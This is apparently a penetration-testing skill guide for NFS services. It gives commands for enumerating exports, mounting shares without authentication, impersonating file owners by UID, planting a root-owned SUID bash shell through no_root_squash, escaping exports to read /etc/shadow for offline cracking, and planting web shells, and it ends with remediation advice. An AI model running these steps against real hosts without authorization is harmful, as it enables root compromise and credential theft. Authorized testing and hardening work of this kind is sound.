| name | pentesting-nfs |
| description | Testing NFS services (default port 2049, with rpcbind/mountd on 111 and dynamic ports) for exported share enumeration, missing authentication, UID/GID impersonation, no_root_squash/no_all_squash misconfiguration, subtree_check export escape, and group-based file access (e.g., /etc/shadow) during authorized engagements. |
| domain | cybersecurity |
| subdomain | network-services-pentesting |
| tags | ["penetration-testing","network-services","nfs"] |
| version | 1.0 |
| author | xalgorix |
| license | Apache-2.0 |
Pentesting NFS (port 2049)
When to Use
- Default port
2049/tcp/udp; NFSv2/v3 also rely on rpcbind (111) and mountd (dynamic) — NFSv4 needs only 2049.
- When
nmap/rpcinfo shows nfs, mountd, nfs_acl, or RPC program 100003.
- For enumerating exports, mounting shares, and abusing UID/GID trust and squash misconfigurations to read/write privileged files.
Quick Enumeration
showmount -e <IP>
rpcinfo -p <IP>
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
msfconsole -q -x 'use scanner/nfs/nfsmount; set RHOSTS <IP>; run; exit'
If showmount/msf show nothing, it may be an NFSv4-only server that doesn't support v3 — mount / directly and browse from there.
Critical: Checks Most Often Missed
- Missing authentication / UID impersonation — without Kerberos, the server trusts client-supplied
UID/GID. Create a local user matching the file owner's UID to access "protected" files.
- no_root_squash — root is NOT squashed; mounting lets you act as root on the share (write SUID binaries / read root-only files). The highest-impact miss.
- How to CONFIRM: mount, then
touch /mnt/n/rootcheck && ls -l /mnt/n/rootcheck shows owner root; or plant a SUID shell (see Step 3).
- no_all_squash — user identities preserved across the share, enabling broad impersonation.
- subtree_check disabled (default on Linux) → export escape — exporting a subfolder of a larger filesystem lets you reach files outside the export (e.g., read
/var/log/, write /var/www/).
- How to CONFIRM: use
nfs_analyze/fuse_nfs from hvs-consulting nfs-security-tooling to detect escape + no_root_squash.
- Group-readable root files — only UID 0 is squash-protected by default; files owned by
root but with a non-zero group (e.g., /etc/shadow, group shadow/gid 42) are readable by default.
Workflow
Step 1: Enumerate (exports, versions, RPC)
showmount -e <IP>
rpcinfo -p <IP>
nmap --script=nfs-ls,nfs-showmount,nfs-statfs -p 2049 <IP>
python3 nfs_analyze.py <IP>
Step 2: Mount (no auth required for v2/v3)
mkdir -p /mnt/nfs
mount -t nfs -o vers=3,nolock <IP>:/export /mnt/nfs
mount -t nfs -o vers=2,nolock <IP>:/backup /mnt/nfs
Step 3: Exploit / Extract (impersonation, squash, escape)
ls -ln /mnt/nfs
sudo useradd -u 1001 victimsim
sudo -u victimsim cat /mnt/nfs/secret.txt
cp /bin/bash /mnt/nfs/rootbash
sudo chown root:root /mnt/nfs/rootbash 2>/dev/null
sudo chmod +s /mnt/nfs/rootbash
cat /mnt/nfs/../etc/shadow
Step 4: Post-access / pivot
- Read
/etc/shadow (group-readable case) and crack offline with hashcat/john.
- Use export escape to plant a web shell in
/var/www/ or read logs/keys in /var/.
- Reuse a planted SUID root shell or recovered keys/credentials to fully compromise the host and pivot.
Key Concepts
| Concept | Description |
|---|
| UID/GID trust | Without Kerberos, the server trusts client-sent UID/GID — local user matching enables impersonation. |
| root_squash | Default: UID 0 mapped to nobody; non-root UIDs still trusted. |
| no_root_squash | Root not squashed — mount and act as root (SUID planting, root-file read). |
| all_squash / no_all_squash | Map everyone to nobody / preserve all identities respectively. |
| subtree_check | Disabled by default on Linux → exporting a subdir allows escape to the rest of the filesystem. |
| Group-readable root files | Files owned by root with non-zero group (e.g., shadow gid 42) readable by default. |
| NFSv4 differences | Adds Kerberos, ACLs, stateful ops, no portmapper; clients access / directly. |
Tools & Systems
| Tool | Purpose |
|---|
| showmount / rpcinfo | Enumerate exports, allowed clients, and RPC programs. |
| nmap NSE | nfs-ls, nfs-showmount, nfs-statfs. |
| mount -t nfs | Mount shares (force vers=2/3 to skip auth). |
| nfs-security-tooling | nfs_analyze (escape/squash detection) and fuse_nfs (force UID/GID). |
| nfsshell | Interactive client to set arbitrary UID/GID and fetch files. |
| Metasploit | scanner/nfs/nfsmount. |
| john / hashcat | Crack /etc/shadow hashes read from a share. |
Common Scenarios
Scenario 1: Anonymous export → UID impersonation
showmount -e <IP> lists /home. Mounting v3 and creating a local user with the owning UID grants read of a user's SSH private key, used to log in.
Scenario 2: no_root_squash privilege escalation
/srv is exported with no_root_squash. The tester copies bash to the share, sets it root-owned + SUID, and executes rootbash -p on the host for a root shell.
Scenario 3: subtree_check escape reads /etc/shadow
/srv/ is exported but shares the root filesystem with subtree_check disabled. Using nfs_analyze, the tester escapes the export and reads /etc/shadow (group-readable), then cracks hashes offline.
Output Format
## NFS Finding
**Service**: NFS
**Port**: 2049/tcp (NFSv3 via mountd, rpcbind 111)
**Severity**: Critical
**Finding**: Export with no_root_squash and subtree_check disabled
**Evidence**:
- showmount -e <IP>: "/srv *"
- mount -o vers=3 succeeded with no authentication
- planted root-owned SUID bash in /srv -> rootbash -p returned euid=0
- escaped export to read /etc/shadow
**Impact**: Unauthenticated network clients gain root-equivalent access to the host filesystem.
**Recommendation**:
1. Remove `no_root_squash`/`no_all_squash`; keep default root_squash.
2. Restrict exports to specific client IPs and require NFSv4 + Kerberos (`sec=krb5p`).
3. Export tightly scoped directories and enable `subtree_check` where applicable.
4. Block NFS/rpcbind ports from untrusted networks.